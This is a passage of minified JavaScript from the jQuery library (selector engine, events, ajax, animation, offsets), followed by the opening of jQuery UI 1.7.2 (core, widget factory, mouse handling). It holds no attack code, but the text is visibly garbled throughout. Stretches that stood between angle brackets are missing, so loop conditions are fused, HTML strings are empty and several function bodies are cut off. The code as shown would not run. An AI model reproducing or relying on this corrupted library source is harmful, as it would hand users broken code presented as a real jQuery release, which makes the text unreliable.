U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="

";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="
";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0) +{I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("
").append(M.responseText.replace(//g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function() +{G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='
';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})(); +/* + * jQuery UI 1.7.2 + * + * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT (MIT-LICENSE.txt) + * and GPL (GPL-LICENSE.txt) licenses. + * + * http://docs.jquery.com/UI + */ +jQuery.ui||(function(c){var i=c.fn.remove,d=c.browser.mozilla&&(parseFloat(c.browser.version)<1.9);c.ui={version:"1.7.2",plugin:{add:function(k,l,n){var m=c.ui[k].prototype;for(var j in n){m.plugins[j]=m.plugins[j]||[];m.plugins[j].push([l,n[j]])}},call:function(j,l,k){var n=j.plugins[l];if(!n||!j.element[0].parentNode){return}for(var m=0;m0){return true}m[j]=1;l=(m[j]>0);m[j]=0;return l},isOverAxis:function(k,j,l){return(k>j)&&(k<(j+l))},isOver:function(o,k,n,m,j,l){return c.ui.isOverAxis(o,n,j)&&c.ui.isOverAxis(k,m,l)},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38}};if(d){var f=c.attr,e=c.fn.removeAttr,h="http://www.w3.org/2005/07/aaa",a=/^aria-/,b=/^wairole:/;c.attr=function(k,j,l){var m=l!==undefined;return(j=="role"?(m?f.call(this,k,j,"wairole:"+l):(f.apply(this,arguments)||"").replace(b,"")):(a.test(j)?(m?k.setAttributeNS(h,j.replace(a,"aaa:"),l):f.call(this,k,j.replace(a,"aaa:"))):f.apply(this,arguments)))};c.fn.removeAttr=function(j){return(a.test(j)?this.each(function(){this.removeAttributeNS(h,j.replace(a,""))}):e.call(this,j))}}c.fn.extend({remove:function(){c("*",this).add(this).each(function(){c(this).triggerHandler("remove")});return i.apply(this,arguments)},enableSelection:function(){return this.attr("unselectable","off").css("MozUserSelect","").unbind("selectstart.ui")},disableSelection:function(){return this.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return false})},scrollParent:function(){var j;if((c.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){j=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(c.curCSS(this,"position",1))&&(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}else{j=this.parents().filter(function(){return(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!j.length?c(document):j}});c.extend(c.expr[":"],{data:function(l,k,j){return !!c.data(l,j[3])},focusable:function(k){var l=k.nodeName.toLowerCase(),j=c.attr(k,"tabindex");return(/input|select|textarea|button|object/.test(l)?!k.disabled:"a"==l||"area"==l?k.href||!isNaN(j):!isNaN(j))&&!c(k)["area"==l?"parents":"closest"](":hidden").length},tabbable:function(k){var j=c.attr(k,"tabindex");return(isNaN(j)||j>=0)&&c(k).is(":focusable")}});function g(m,n,o,l){function k(q){var p=c[m][n][q]||[];return(typeof p=="string"?p.split(/,?\s+/):p)}var j=k("getter");if(l.length==1&&typeof l[0]=="string"){j=j.concat(k("getterSetter"))}return(c.inArray(o,j)!=-1)}c.widget=function(k,j){var l=k.split(".")[0];k=k.split(".")[1];c.fn[k]=function(p){var n=(typeof p=="string"),o=Array.prototype.slice.call(arguments,1);if(n&&p.substring(0,1)=="_"){return this}if(n&&g(l,k,p,o)){var m=c.data(this[0],k);return(m?m[p].apply(m,o):undefined)}return this.each(function(){var q=c.data(this,k);(!q&&!n&&c.data(this,k,new c[l][k](this,p))._init());(q&&n&&c.isFunction(q[p])&&q[p].apply(q,o))})};c[l]=c[l]||{};c[l][k]=function(o,n){var m=this;this.namespace=l;this.widgetName=k;this.widgetEventPrefix=c[l][k].eventPrefix||k;this.widgetBaseClass=l+"-"+k;this.options=c.extend({},c.widget.defaults,c[l][k].defaults,c.metadata&&c.metadata.get(o)[k],n);this.element=c(o).bind("setData."+k,function(q,p,r){if(q.target==o){return m._setData(p,r)}}).bind("getData."+k,function(q,p){if(q.target==o){return m._getData(p)}}).bind("remove",function(){return m.destroy()})};c[l][k].prototype=c.extend({},c.widget.prototype,j);c[l][k].getterSetter="option"};c.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName).removeClass(this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").removeAttr("aria-disabled")},option:function(l,m){var k=l,j=this;if(typeof l=="string"){if(m===undefined){return this._getData(l)}k={};k[l]=m}c.each(k,function(n,o){j._setData(n,o)})},_getData:function(j){return this.options[j]},_setData:function(j,k){this.options[j]=k;if(j=="disabled"){this.element[k?"addClass":"removeClass"](this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").attr("aria-disabled",k)}},enable:function(){this._setData("disabled",false)},disable:function(){this._setData("disabled",true)},_trigger:function(l,m,n){var p=this.options[l],j=(l==this.widgetEventPrefix?l:this.widgetEventPrefix+l);m=c.Event(m);m.type=j;if(m.originalEvent){for(var k=c.event.props.length,o;k;){o=c.event.props[--k];m[o]=m.originalEvent[o]}}this.element.trigger(m,n);return !(c.isFunction(p)&&p.call(this.element[0],m,n)===false||m.isDefaultPrevented())}};c.widget.defaults={disabled:false};c.ui.mouse={_mouseInit:function(){var j=this;this.element.bind("mousedown."+this.widgetName,function(k){return j._mouseDown(k)}).bind("click."+this.widgetName,function(k){if(j._preventClickEvent){j._preventClickEvent=false;k.stopImmediatePropagation();return false}});if(c.browser.msie){this._mouseUnselectable=this.element.attr("unselectable");this.element.attr("unselectable","on")}this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName);(c.browser.msie&&this.element.attr("unselectable",this._mouseUnselectable))},_mouseDown:function(l){l.originalEvent=l.originalEvent||{};if(l.originalEvent.mouseHandled){return}(this._mouseStarted&&this._mouseUp(l));this._mouseDownEvent=l;var k=this,m=(l.which==1),j=(typeof this.options.cancel=="string"?c(l.target).parents().add(l.target).filter(this.options.cancel).length:false);if(!m||j||!this._mouseCapture(l)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){k.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(l)&&this._mouseDelayMet(l)){this._mouseStarted=(this._mouseStart(l)!==false);if(!this._mouseStarted){l.preventDefault();return true}}this._mouseMoveDelegate=function(n){return k._mouseMove(n)};this._mouseUpDelegate=function(n){return k._mouseUp(n)};c(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);(c.browser.safari||l.preventDefault());l.originalEvent.mouseHandled=true;return true},_mouseMove:function(j){if(c.browser.msie&&!j.button){return 